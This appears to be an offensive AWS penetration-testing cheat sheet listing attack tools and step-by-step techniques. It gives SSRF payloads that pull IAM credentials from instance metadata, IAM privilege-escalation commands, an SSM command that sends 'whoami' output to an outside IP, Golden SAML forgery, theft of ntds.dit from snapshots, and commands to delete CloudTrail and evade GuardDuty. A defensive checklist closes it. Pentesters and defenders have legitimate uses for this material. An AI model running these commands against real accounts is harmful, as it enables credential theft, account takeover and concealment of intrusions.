AWS

> Amazon Web Services offers reliable, scalable, and inexpensive cloud computing services.

Summary

Training

- Damn Vulnerable Cloud Application - https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6
- SadCloud - https://github.com/nccgroup/sadcloud
- Flaws - http://flaws.cloud
- Cloudgoat - https://github.com/RhinoSecurityLabs/cloudgoat

Tools

- SkyArk - Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins
    - Requires read-Only permissions over IAM service

```
$ git clone https://github.com/cyberark/SkyArk
$ powershell -ExecutionPolicy Bypass -NoProfile
PS C> Import-Module .\SkyArk.ps1 -force
PS C> Start-AWStealth
```

```
or in the Cloud Console

PS C> IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk
/master/AWStealth/AWStealth.ps1')
PS C> Scan-AWShadowAdmins
```

- Pacu - Exploit configuration flaws within an AWS environment using an extensible collection of modules with a diverse feature-set
    - Requires AWS Keys

```
$ git clone https://github.com/RhinoSecurityLabs/pacu
$ bash install.sh
$ python3 pacu.py
set_keys/swap_keys
ls
run <module_name> [--keyword-arguments]
run <module_name> --regions eu-west-1,us-west-1

# https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details
```

- Bucket Finder - Search for public buckets, list and download all files if directory indexing is enabled

```
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O
bucket_finder_1.1.tar.bz2
./bucket_finder.rb my_words
./bucket_finder.rb --region ie my_words
    US Standard         = http://s3.amazonaws.com
    Ireland             = http://s3-eu-west-1.amazonaws.com
    Northern California = http://s3-us-west-1.amazonaws.com
    Singapore           = http://s3-ap-southeast-1.amazonaws.com
    Tokyo               = http://s3-ap-northeast-1.amazonaws.com

./bucket_finder.rb --download --region ie my_words
./bucket_finder.rb --log-file bucket.out my_words
```

- Boto3 - Amazon Web Services (AWS) SDK for Python

```
import boto3
# Create an S3 client
s3 =
boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_access_key=
'igH8yFmmpMbnkcUaCqXJIRIozKVaREDACTED',region_name='us-west-1')

try:
    result = s3.list_buckets()
    print(result)
except Exception as e:
    print(e)
```

- Prowler - AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness

  > It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and DOZENS of additional checks including GDPR and HIPAA (+100).

  - Require: arn:aws:iam::aws:policy/SecurityAudit

```
$ pip install awscli ansi2html detect-secrets
$ git clone https://github.com/toniblyx/prowler
$ sudo apt install jq
$ ./prowler -E check42,check43
$ ./prowler -p custom-profile -r us-east-1 -c check11
$ ./prowler -A 123456789012 -R ProwlerRole  # sts assume-role
```

- Principal Mapper - A tool for quickly evaluating IAM permissions in AWS

```
https://github.com/nccgroup/PMapper
pip install principalmapper
pmapper graph --create
pmapper visualize --filetype png
pmapper analysis --output-type text

# Determine if PowerUser can escalate privileges
pmapper query "preset privesc user/PowerUser"
pmapper argquery --principal user/PowerUser --preset privesc

# Find all principals that can escalate privileges
pmapper query "preset privesc *"
pmapper argquery --principal '*' --preset privesc

# Find all principals that PowerUser can access
pmapper query "preset connected user/PowerUser *"
pmapper argquery --principal user/PowerUser --resource '*' --preset connected

# Find all principals that can access PowerUser
pmapper query "preset connected * user/PowerUser"
pmapper argquery --principal '*' --resource user/PowerUser --preset connected
```

- ScoutSuite - Multi-Cloud Security Auditing Tool

```
$ git clone https://github.com/nccgroup/ScoutSuite
$ python scout.py PROVIDER --help
# The --session-token is optional and only used for temporary credentials (i.e.
role assumption).
$ python scout.py aws --access-keys --access-key-id <AKIAIOSFODNN7EXAMPLE> --
secret-access-key <wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY> --session-token
<token>
$ python scout.py azure --cli
```

- s3_objects_check - Whitebox evaluation of effective S3 object permissions, to identify publicly accessible files

```
$ git clone https://github.com/nccgroup/s3_objects_check
$ python3 -m venv env && source env/bin/activate
$ pip install -r requirements.txt
$ python s3-objects-check.py -h
$ python s3-objects-check.py -p whitebox-profile -e blackbox-profile
```

- cloudsplaining - An AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized report

```
$ pip3 install --user cloudsplaining
$ cloudsplaining download --profile myawsprofile
$ cloudsplaining scan --input-file default.json
```

- weirdAAL - AWS Attack Library

```
python3 weirdAAL.py -m ec2_describe_instances -t demo
python3 weirdAAL.py -m lambda_get_account_settings -t demo
python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2' -
t yolo
```

- cloudmapper - CloudMapper helps you analyze your Amazon Web Services (AWS) environments

```
git clone https://github.com/duo-labs/cloudmapper.git
# sudo yum install autoconf automake libtool python3-devel.x86_64 python3-
tkinter python-pip jq awscli
# You may additionally need "build-essential"
sudo apt-get install autoconf automake libtool python3.7-dev python3-tk jq
awscli
pipenv install --skip-lock
pipenv shell
report: Generate HTML report. Includes summary of the accounts and audit
findings.
iam_report: Generate HTML report for the IAM information of an account.
audit: Check for potential misconfigurations.
collect: Collect metadata about an account.
find_admins: Look at IAM policies to identify admin users and roles, or
principals with specific privileges
```

- dufflebag - Find secrets that are accidentally exposed via Amazon EBS's "public" mode

AWS Patterns

Service	URL
s3	https://{user_provided}.s3.amazonaws.com
cloudfront	https://{random_id}.cloudfront.net
ec2	ec2-{ip-seperated}.compute-1.amazonaws.com

Service	URL
es	https://{user_provided}-{random_id}.{region}.es.amazonaws.com
elb	http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
elbv2	https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
rds	mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
rds	postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
route 53	{user_provided}
execute-api	https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
cloudsearch	https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com
transfer	sftp://s-{random_id}.server.transfer.{region}.amazonaws.com
iot	mqtt://{random_id}.iot.{region}.amazonaws.com:8883
iot	https://{random_id}.iot.{region}.amazonaws.com:8443
iot	https://{random_id}.iot.{region}.amazonaws.com:443
mq	https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162
mq	ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
kafka	b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
kafka	{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
cloud9	https://{random_id}.vfs.cloud9.{region}.amazonaws.com
mediastore	https://{random_id}.data.mediastore.{region}.amazonaws.com
kinesisvideo	https://{random_id}.kinesisvideo.{region}.amazonaws.com
mediaconvert	https://{random_id}.mediaconvert.{region}.amazonaws.com
mediapackage	https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel

AWS - Metadata SSRF

> AWS released additional security defences against the attack.

:warning: Only working with IMDSv1. Enabling IMDSv2 : `aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --profile <AWS_PROFILE> --http-endpoint enabled --http-token required`.

In order to usr IMDSv2 you must provide a token.

```
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
```

Method for Elastic Cloud Compute (EC2)

Example : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/

1. Access the IAM : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/

```
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
```

2. Find the name of the role assigned to the instance : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. Extract the role's temporary keys : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/

```
{
"Code" : "Success",
"LastUpdated" : "2019-07-31T23:08:10Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA54BL6PJR37YOEP67",
"SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2",
"Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv",
"Expiration" : "2019-08-01T05:20:30Z"
}
```

Method for Container Service (Fargate)

1. Fetch the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI variable from https://awesomeapp.com/download?file=/proc/self/environ

```
JAVA_ALPINE_VERSION=8.212.04-r0
HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_REGION=us-west-2
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67dbe61c13ffPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin:/usr/lib/mvn:/usr/lib/mvn/binLANG=C.UTF-8AWS_REGION=us-west-2Tag=48111bbJAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jreM2=/usr/lib/mvn/binPWD=/appM2_HOME=/usr/lib/mvnLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjd
```

2. Use the credential URL to dump the AccessKey and SecretKey : https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447


```
{
    "RoleArn": "arn:aws:iam::953574914659:role/awesome-waf-role",
    "AccessKeyId": "ASIA54BL6PJR2L75XHVS",
    "SecretAccessKey": "j72eTy+WHgIbO6zpe2DnfjEhbObuTBKcemfrIygt",
    "Token":
"FQoGZXIvYXdzEMj//////////wEaDEQW+wwBtaoyqH5lNSLGBF3PnwnLYa3ggfKBtLMoWCEyYklw6YX
85koqNwKMYrP6ymcjv4X2gF5enPi9/Dx6m/1TTFIwMzZ3tf4V3rWP3HDt1ea6oygzTrWLvfdp57sKj+2
ccXI+WWPDZh3eJr4Wt4JkiiXrWANn7Bx3BUj9ZM11RXrKRCvhrxdrMLoewRkWmErNEOFgbaCaT8WeOkz
qli4f+Q36ZerT2V+FJ4SWDX1CBsimnDAMAdTIRSLFxVBBwW8171OHiBOYAMK2np1xAW1d3UCcZcGKKZT
jBee2zs5+Rf5Nfkoq+j7GQkmD2PwCeAf0RFETB5EVePNtlBWpzfOOVBtsTUTFewFfx5cyNsitD3C2N93
WR59LX/rNxyncHGDUP/6UPlasOcfzAaG738OJQmWfQTR0qksHIc2qiPtkstnNndh76is+r+Jc4q3wOWu
2U2UBi44Hj+OS2UTpMAwc/MshIiGsUOrBQdPqcLLdAxKpUNTdSQNLg5wv4f2OrOI8/sneV58yBRolBz8
DZoH8wohtLXpueDt8jsVSVLznnMOOe/4ehHE2Nt+Fy+tjaY5FUi/Ijdd5IrIdIvWFHY1XcPopUFYrDqr
0yuZvX1YddfIcfdbmxf274v69FuuywXTo7cXk1QTMYZWlD/dPI/k6KQeO446UrHT9BJxcJMpchAIVRpI
7nVKkSDwku1joKUG7DOeycuAbhecVZG825TocL0ks2yXPnIdvckAaU9DZf+afIV3Nxv3TI4sSX1npBhb
2f/8C31pv8VHyu2NiN5V6OOHzZijHsYXsBQ==",
    "Expiration": "2019-09-18T04:05:59Z"
}
```


AWS API calls that return credentials

- chime:createapikey
- codepipeline:pollforjobs
- cognito-identity:getopenidtoken
- cognito-identity:getopenidtokenfordeveloperidentity
- cognito-identity:getcredentialsforidentity
- connect:getfederationtoken
- connect:getfederationtokens
- ecr:getauthorizationtoken
- gamelift:requestuploadcredentials
- iam:createaccesskey
- iam:createloginprofile
- iam:createservicespecificcredential
- iam:resetservicespecificcredential
- iam:updateaccesskey
- lightsail:getinstanceaccessdetails
- lightsail:getrelationaldatabasemasteruserpassword
- rds-db:connect
- redshift:getclustercredentials
- sso:getrolecredentials
- mediapackage:rotatechannelcredentials
- mediapackage:rotateingestendpointcredentials
- sts:assumerole
- sts:assumerolewithsaml
- sts:assumerolewithwebidentity
- sts:getfederationtoken
- sts:getsessiontoken

AWS - Shadow Admin

Admin equivalent permission

- AdministratorAccess

```
"Action": "*"
"Resource": "*"
```

- ec2:AssociateIamInstanceProfile
- **iam:CreateAccessKey**iam:CreateAccessKey : create a new access key to another IAM admin account

```
aws iam create-access-key –user-name target_user
```

- **iam:CreateLoginProfile** : add a new password-based login profile, set a new password for an entity and impersonate it

```
$ aws iam create-login-profile –user-name target_user –password '|
[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?
\\hq.#@dh49"=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-
required
```

- **iam:UpdateLoginProfile** : reset other IAM users' login passwords.

```
$ aws iam update-login-profile –user-name target_user –password '|
[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?
\\hq.#@dh49"=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-
required
```

- **iam:AttachUserPolicy**, **iam:AttachGroupPolicy** or **iam:AttachRolePolicy** : attach existing admin policy to any other entity he currently possesses

```
$ aws iam attach-user-policy –user-name my_username –policy-arn
arn:aws:iam::aws:policy/AdministratorAccess
$ aws iam attach-user-policy –user-name my_username –policy-arn
arn:aws:iam::aws:policy/AdministratorAccess
$ aws iam attach-role-policy –role-name role_i_can_assume –policy-arn
arn:aws:iam::aws:policy/AdministratorAccess
```

- **iam:PutUserPolicy**, **iam:PutGroupPolicy** or **iam:PutRolePolicy** : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.

```
$ aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –
policy-document file://path/to/administrator/policy.json
```

- **iam:CreatePolicy** : add a stealthy admin policy

- **iam:AddUserToGroup** : add into the admin group of the organization.

```
$ aws iam add-user-to-group –group-name target_group –user-name my_username
```

- **iam:UpdateAssumeRolePolicy** + **sts:AssumeRole** : change the assuming permissions of a privileged role and then assume it with a non-privileged account.

```
$ aws iam update-assume-role-policy –role-name role_i_can_assume –policy-
document file://path/to/assume/role/policy.json
```

- **iam:CreatePolicyVersion** & **iam:SetDefaultPolicyVersion** : change customer-managed policies and change a non-privileged entity to be a privileged one.

```
$ aws iam create-policy-version –policy-arn target_policy_arn –policy-document
file://path/to/administrator/policy.json –set-as-default
$ aws iam set-default-policy-version –policy-arn target_policy_arn –version-id
v2
```

- **lambda:UpdateFunctionCode** : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.

```
$ aws lambda update-function-code –function-name target_function –zip-file
fileb://my/lambda/code/zipped.zip
```

- **glue:UpdateDevEndpoint** : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.

```
$ aws glue –endpoint-name target_endpoint –public-key
file://path/to/my/public/ssh/key.pub
```

- **iam:PassRole** + **ec2:CreateInstanceProfile**/**ec2:AddRoleToInstanceProfile** : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.

- **iam:PassRole** + **ec2:RunInstance** : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.

```
# add ssh key
$ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-
instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-
ids sg-123456
# execute a reverse shell
$ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-
instance-profile Name=iam-full-access-ip –user-data
file://script/with/reverse/shell.sh
```

- **iam:PassRole** + **lambda:CreateFunction** + **lambda:InvokeFunction** : give a user access to the privileges associated with any Lambda service role that exists in the account.

```
$ aws lambda create-function –function-name my_function –runtime python3.6 –role
arn_of_lambda_role –handler lambda_function.lambda_handler –code
file://my/python/code.py
$ aws lambda invoke –function-name my_function output.txt
```

Example of code.py

```
import boto3
def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
    UserName='my_username',
    PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response
```

- **iam:PassRole** + **glue:CreateDevEndpoint** : access to the privileges associated with any Glue service role that exists in the account.

```
$ aws glue create-dev-endpoint –endpoint-name my_dev_endpoint –role-arn
arn_of_glue_service_role –public-key file://path/to/my/public/ssh/key.pub
```

AWS - Gaining AWS Console Access via API Keys

A utility to convert your AWS CLI credentials into AWS console access.

```
$> git clone https://github.com/NetSPI/aws_consoler
$> aws_consoler -v -a AKIA[REDACTED] -s [REDACTED]
2020-03-13 19:44:57,800 [aws_consoler.cli] INFO: Validating arguments...
2020-03-13 19:44:57,801 [aws_consoler.cli] INFO: Calling logic.
2020-03-13 19:44:57,820 [aws_consoler.logic] INFO: Boto3 session established.
2020-03-13 19:44:58,193 [aws_consoler.logic] WARNING: Creds still permanent, creating
federated session.
2020-03-13 19:44:58,698 [aws_consoler.logic] INFO: New federated session established.
2020-03-13 19:44:59,153 [aws_consoler.logic] INFO: Session valid, attempting to
federate as arn:aws:sts::123456789012:federated-user/aws_consoler.
2020-03-13 19:44:59,668 [aws_consoler.logic] INFO: URL generated!
https://signin.aws.amazon.com/federation?
Action=login&Issuer=consoler.local&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2
Fconsole%2Fhome%3Fregion%3Dus-east-1&SigninToken=[REDACTED
```

AWS - Enumerate IAM permissions

Enumerate the permissions associated with AWS credential set with enumerate-iam

```
git clone git@github.com:andresriancho/enumerate-iam.git
pip install -r requirements.txt
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-
key-id "AKIA..."
2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills,
get_account_authorization_details worked!
2019-05-10 15:58:01,537 - 21345 - [INFO] -- {
    "RoleDetailList": [
        {
            "Tags": [],
            "AssumeRolePolicyDocument": {
                "Version": "2008-10-17",
                "Statement": [
                    {
...
2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked!
2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked!
2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations()
worked!
2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets()
worked!
2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked!
```

AWS - Mount EBS volume to EC2 Linux

:warning: EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken.

1. Head over to EC2 –> Volumes and create a new volume of your preferred size and type.
2. Select the created volume, right click and select the "attach volume" option.
3. Select the instance from the instance text box as shown below : `attach ebs volume`

```
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
aws ec2 attach-volume –-volume-id volume_id –-instance-id instance_id --device device
```

4. Now, login to your ec2 instance and list the available disks using the following command : `lsblk`
5. Check if the volume has any data using the following command : `sudo file -s /dev/xvdf`
6. Format the volume to ext4 filesystem using the following command : `sudo mkfs -t ext4 /dev/xvdf`
7. Create a directory of your choice to mount our new ext4 volume. I am using the name “newvolume” : `sudo mkdir /newvolume`
8. Mount the volume to "newvolume" directory using the following command : `sudo mount /dev/xvdf /newvolume/`
9. cd into newvolume directory and check the disk space for confirming the volume mount : `cd /newvolume; df -h .`

AWS - Copy EC2 using AMI Image

First you need to extract data about the current instances and their AMI/security groups/subnet : `aws ec2 describe-images --region eu-west-1`

```
# create a new image for the instance-id
$ aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --
description "Export AMI" --region eu-west-1

# add key to AWS
$ aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material
file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet
to connect easily.
$ aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-
6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name
"AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-
6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
```

AWS - Instance Connect - Push an SSH key to EC2 instance

```
# https://aws.amazon.com/fr/blogs/compute/new-using-amazon-ec2-instance-connect-for-
ssh-access-to-your-ec2-instances/
$ aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[]
[].Instances | .[] | {InstanceId, KeyName, State}"
$ aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id
INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key
file://shortkey.pub --profile uploadcreds
```

AWS - Lambda - Extract function's code

```
# https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-
vulnerabilities-7630fa57c7ed
$ aws lambda list-functions --profile uploadcreds
$ aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --
query 'Code.Location' --profile uploadcreds
$ wget -O lambda-function.zip url-from-previous-query --profile uploadcreds
```

AWS - SSM - Command execution

:warning: The ssm-user account is not removed from the system when SSM Agent is uninstalled.

SSM Agent is preinstalled, by default, on the following Amazon Machine Images (AMIs):

- Windows Server 2008-2012 R2 AMIs published in November 2016 or later

- Windows Server 2016 and 2019
- Amazon Linux
- Amazon Linux 2
- Ubuntu Server 16.04
- Ubuntu Server 18.04
- Amazon ECS-Optimized

```
$ aws ssm describe-instance-information --profile stolencreds --region eu-west-1
$ aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
$ aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds

e.g:
$ aws ssm send-command --instance-ids "i-05b[redacted]adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.[redacted]:8080/`whoami`' --output text --region=us-east-1
```

AWS - Golden SAML Attack

https://www.youtube.com/watch?v=5dj4vOqqGZw
https://www.cyberark.com/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-cloud-apps/

> Using the extracted information, the tool will generate a forged SAML token as an arbitrary user that can then be used to authenticate to Office 365 without knowledge of that user's password. This attack also bypasses any MFA requirements.

Requirement:

- Token-signing private key (export from personal store using Mimikatz)
- IdP public certificate
- IdP name
- Role name (role to assume)

```
$ python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
$ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
```

AWS - Shadow Copy attack

Prerequisite:

- EC2:CreateSnapshot
- CloudCopy - https://github.com/Static-Flow/CloudCopy

1. Load AWS CLI with Victim Credentials that have at least CreateSnapshot permissions
2. Run `"Describe-Instances"` and show in list for attacker to select
3. Run `"Create-Snapshot"` on volume of selected instance

4. Run `"modify-snapshot-attribute"` on new snapshot to set `"createVolumePermission"` to attacker AWS Account
5. Load AWS CLI with Attacker Credentials
6. Run `"run-instance"` command to create new linux ec2 with our stolen snapshot
7. Ssh run `"sudo mkdir /windows"`
8. Ssh run `"sudo mount /dev/xvdf1 /windows/"`
9. Ssh run `"sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user"`
10. Ssh run `"sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user"`
11. Ssh run `"sudo chown ec2-user:ec2-user /home/ec2-user/*"`
12. SFTP get `"/home/ec2-user/SYSTEM ./SYSTEM"`
13. SFTP get `"/home/ec2-user/ntds.dit ./ntds.dit"`
14. locally run `"secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets'`, expects secretsdump to be on path

Disable CloudTrail

```
$ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
```

Disable monitoring of events from global services

```
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-
event
```

Disable Cloud Trail on specific regions

```
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-
event --no-is-multi-region --region=eu-west
```

Cover tracks by obfuscating Cloudtrail logs and Guard Duty

:warning: When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent.

Pacu bypass this problem by defining a custom User-Agent (https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu.py#L1473)

```
boto3_session = boto3.session.Session()
ua = boto3_session._session.user_agent()
if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower():  # If
the local OS is Kali/Parrot/Pentoo Linux
    # GuardDuty triggers a finding around API calls made from Kali Linux, so let's
avoid that...
    self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying
user agent to hide that from GuardDuty...')
```

DynamoDB

> Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It's a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second.

- list tables

```
$ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables

{
    "TableNames": [
        "users"
    ]
}
```

- enumerate table content

```
$ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r
'.Items[]'

{
  "password": {
    "S": "Management@#1@#"
  },
  "username": {
    "S": "Mgmt"
  }
}
```

Security checks

https://github.com/DenizParlak/Zeus

- Identity and Access Management
  - Avoid the use of the "root" account
  - Ensure multi-factor authentication (MFA) is enabled for all IAM users that have a console password
  - Ensure credentials unused for 90 days or greater are disabled
  - Ensure access keys are rotated every 90 days or less
  - Ensure IAM password policy requires at least one uppercase letter
  - Ensure IAM password policy requires at least one lowercase letter
  - Ensure IAM password policy requires at least one symbol
  - Ensure IAM password policy requires at least one number
  - Ensure IAM password policy requires minimum length of 14 or greater
  - Ensure no root account access key exists
  - Ensure MFA is enabled for the "root" account
  - Ensure security questions are registered in the AWS account
  - Ensure IAM policies are attached only to groups or role
  - Enable detailed billing
  - Maintain current contact details
  - Ensure security contact information is registered
  - Ensure IAM instance roles are used for AWS resource access from instances

- Logging
  - Ensure CloudTrail is enabled in all regions
  - Ensure CloudTrail log file validation is enabled
  - Ensure the S3 bucket CloudTrail logs to is not publicly accessible
  - Ensure CloudTrail trails are integrated with CloudWatch Logs
  - Ensure AWS Config is enabled in all regions
  - Ensure S3 bucket access logging is enabled on the CloudTrail S3 bucket
  - Ensure CloudTrail logs are encrypted at rest using KMS CMKs
  - Ensure rotation for customer created CMKs is enabled
- Networking
  - Ensure no security groups allow ingress from 0.0.0.0/0 to port 22
  - Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389
  - Ensure VPC flow logging is enabled in all VPC
  - Ensure the default security group of every VPC restricts all traffic
- Monitoring
  - Ensure a log metric filter and alarm exist for unauthorized API calls
  - Ensure a log metric filter and alarm exist for Management Consolesign-in without MFA
  - Ensure a log metric filter and alarm exist for usage of "root" account
  - Ensure a log metric filter and alarm exist for IAM policy changes
  - Ensure a log metric filter and alarm exist for CloudTrail configuration changes
  - Ensure a log metric filter and alarm exist for AWS Management Console authentication failures
  - Ensure a log metric filter and alarm exist for disabling or scheduled deletion of customer created CMKs
  - Ensure a log metric filter and alarm exist for S3 bucket policy changes
  - Ensure a log metric filter and alarm exist for AWS Config configuration changes
  - Ensure a log metric filter and alarm exist for security group changes
  - Ensure a log metric filter and alarm exist for changes to NetworkAccess Control Lists (NACL)
  - Ensure a log metric filter and alarm exist for changes to network gateways
  - Ensure a log metric filter and alarm exist for route table changes
  - Ensure a log metric filter and alarm exist for VPC changes

References

- An introduction to penetration testing AWS - Graceful Security
- Cloud Shadow Admin Threat 10 Permissions Protect - CyberArk
- My arsenal of AWS Security tools - toniblyx
- AWS Privilege Escalation method mitigation - RhinoSecurityLabs
- AWS CLI Cheatsheet - apolloclark
- Pacu Open source AWS Exploitation framework - RhinoSecurityLabs
- PACU Spencer Gietzen - 30 juil. 2018
- Cloud security instance metadata - PumaScan
- Privilege escalation in the Cloud: From SSRF to Global Account Administrator - Maxime Leblanc - Sep 1, 2018
- AWS - Cheatsheet - @Magnussen
- amazon-guardduty-user-guide PenTest Finding Types - @awsdocs
- HOW I HACKED A WHOLE EC2 NETWORK DURING A PENETRATION TEST - by Federico Fernandez
- How to Attach and Mount an EBS volume to EC2 Linux Instance - AUGUST 17, 2016
- Getting shell and data access in AWS by chaining vulnerabilities - Riyaz Walikar - Aug 29, 2019
- Getting started with Version 2 of AWS EC2 Instance Metadata service (IMDSv2) - Sunesh Govindaraj - Nov 25, 2019
